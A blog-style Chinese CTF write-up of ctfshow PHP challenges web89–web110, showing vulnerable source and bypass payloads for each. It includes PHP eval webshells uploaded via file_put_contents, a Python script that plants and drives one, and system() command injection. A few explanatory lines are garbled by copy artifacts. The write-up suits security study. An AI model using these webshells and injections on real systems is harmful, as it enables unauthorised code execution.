ctfshow-php特性(部分题解)

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

构造url

/?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  1. 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  2. 如果字符串以 “0” 开始,使用 8 进制(octal);
  3. 否则,将使用 10 进制 (decimal)。

将4476换为16进制输入!
构造url

/?num=0x117c

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行 \n 并且有开始 ^ 或结束 $ 符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

构造url

/?cmd=%0aphp
或
/?cmd=php%0a%0a

其实后面url+/?cmd=php%0aphp也还是可以的,有很多方法!
但是/?cmd=php%0a这样子是错误的!


web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这道题和web90一样!唯一不同的地方是4476这里少了引号!
构造url

/?num=0x117c

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母,所以十六进制是不可以使用了!所以我们换成8进制!
构造url

/?num=010574
或
/?num=4476.1#利用php浮点数不能直接比较相等的特性

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

强比较!

strpos() 函数查找字符串在另一字符串中第一次出现的位置

strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

这里查找的是0是否在第0个位置,而十六进制不能用,所以我们不让8进制的0在第0位即可,在中间加个空格就好了!

/?num= 010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

从强比较换成了弱比较了!
继续上要给url就可以了

/?num= 010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

读取文件,参数不等于flag.php,那直接加个./即可,或者php伪协议!

/?u=./flag.php
/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议             

这三个都是可以的,只需在前面加上个/?u=就行了!


web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

知识点:

弱类型比较,也叫松散比较。字符串和数字进行比较时,会把字符串强制转换为数字(如果字符串开头有数字,则转换为开头数字,没有则转换为0)
强类型比较,也叫严格比较。不仅要比较数据的值也要比较数据的类型,例如str和int两种数据类型就不会相等

md5函数处理数组舒服会返回NULL,两个NULL即相等!

post:a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

这里是三目运算符和取地址符号!

G E T ? _GET? GET?_GET=& P O S T : ′ f l a g ′ ; 这 条 语 句 的 意 思 是 , 存 在 g e t 形 式 则 将 p o s t 的 地 址 给 g e t , 否 则 f l a g h i g h l i g h t f i l e ( _POST:'flag'; 这条语句的意思是,存在get形式则将post的地址给get,否则flag highlight_file( POST:flag;getpostgetflaghighlightfile(_GET[‘HTTP_FLAG’]==‘flag’?$flag:FILE);
这条语句是如果HTTP_FLAG等于flag则输出flag

/?a=#这里其实随便写!
post:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

先是创建一个数组,然后将里面添加随机数!
然后判断是否存在get[n],用in_array()在数组里搜索值

in_array() 函数搜索数组中是否存在指定的值

in_array(search,array,type)
参数描述
search必需。规定要在数组搜索的值。
array必需。规定要搜索的数组。
type可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

file_put_contents() 函数把一个字符串写入文件中。

file_put_contents(file,data,mode,context)
参数描述
file必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode可选。规定如何打开/写入文件。可能的值: 1. FILE_USE_INCLUDE_PATH 2. FILE_APPEND 3. LOCK_EX
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
/?n=1.php
post:content=<?php @eval($_POST[datas]);?>

这里创建了个文件,上传了个一句话木马!

/1.php
post:datas=system("ls");

在这里插入图片描述

import requests#导入requests库
url = "http://22070c05-1fd6-4345-a0f8-9980e91a7c02.challenge.ctf.show:8080/"#我们要访问的页面
url1 = url + "?n=1.php"#构造url
dataer = {
    'content':'<?php @eval($_POST[datas]);?>'
}#第一次发送的数据
get_shell = requests.post(url=url1,data=dataer)#以post形式发送
url2 = url + '1.php'#构造第二次的url
get_test = requests.get(url=url2)#以get形式访问页面
if(get_test.status_code==200):#200代表正常可以访问
    print('YES')#输出YES
    dataer2 = {
        'datas':'system("cat flag36d.php");'
    }#第二次发送的数据
    res = requests.post(url=url2,data=dataer2)
    print(res.text)#接收并打印

上面就是脚本!


web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

php有运算的优先级,也就是 && > = > and
eval(“ v 2 ( ′ c t f s h o w ′ ) v2('ctfshow') v2(ctfshow)v3”);这里需要对 v 2 传 入 命 令 , v2传入命令, v2v3需要;结尾.

/?v1=1&v2=system("tac%20ctfshow.php")&v3=;

$flag_is_5839f3410x2d25140x2d4e3d0x2da3630x2daa8b8d3a5320;


web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

过滤太多的符号了!

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class>newInstanceArgs(args); // 相当于实例化ctfshow类

/?v1=1&v2=echo%20new%20ReflectionClass&v3=;

改掉0x2d和最后一位进行爆破


web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 写入内容到文件中,第一个参数是文件名,第二个参数是内容

以post传入v1,再以get传入v2和v3,v4必须为真,所以v2必须为数字,所以我们可以将webshell转换为数字!先base64再hex十六进制!

<?=是php的短标签,是echo()的快捷用法

还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:v1=hex2bin

然后再访问dotast
在这里插入图片描述


web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

这里继续使用上一题的payload

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:v1=hex2bin

此时我们再将其进行base64解码!


web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

?> 

考察了sha1函数的特性!sha1()函数无法处理数组类型,会返回NULL,if条件就可以成立了,所以开始构造url。

?v2[]=
post:v1[]=

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
=>只用来数组赋值

这里是变量覆盖!例如 $a = flag 那么 $$a = $flag
此时我们可以开始构造url了!

?dotast=flag
post:error=dotast
这里是将$flag值传给$dotast,然后再让$dotast传给$error
或
?suces=flag&flag=
这里是将flag值传给suces,然后再令flag为空,则符合下面的条件了!

web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

这里是sha1()函数,只不过变成了不相等而已,所以我们简单的构造一下就可以了!

v2[]=1
post:v1[]=1

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;

       }

} 

parse_str

参数描述
string必需,规定要解析的字符串
array可选。规定储存变量的数组的名称。改参数指示变量将被储存到数组
?v3=harker
post:v1=flag=e80118aff3ed3bc6f99038f65bef881b

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

这里要知道%00是可以截断ereg函数的搜索!正则表达式只会匹配%00之前的内容

?c=a%00778
这里是0x36d的十进制数为877,然后逆转一下为778,需要截断ereg搜索加上%00

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?> 

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

这里就是将v1不报错,执行v2的命令!

?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?> 

getcwd()会将当前工作目录的绝对路径复制到参数buffer所指的内存空间中,参数maxlen为buffer的空间大小。

这里要利用FilesystmIterator文件系统迭代器来进行利用!

?v1=FilesystemIterator&v2=getcwd
接着访问fl36dga.txt页面就可以得到了flag了!

web111


posted @ 2021-05-16 12:23  望权栈  阅读(86)  评论(0编辑  收藏  举报  来源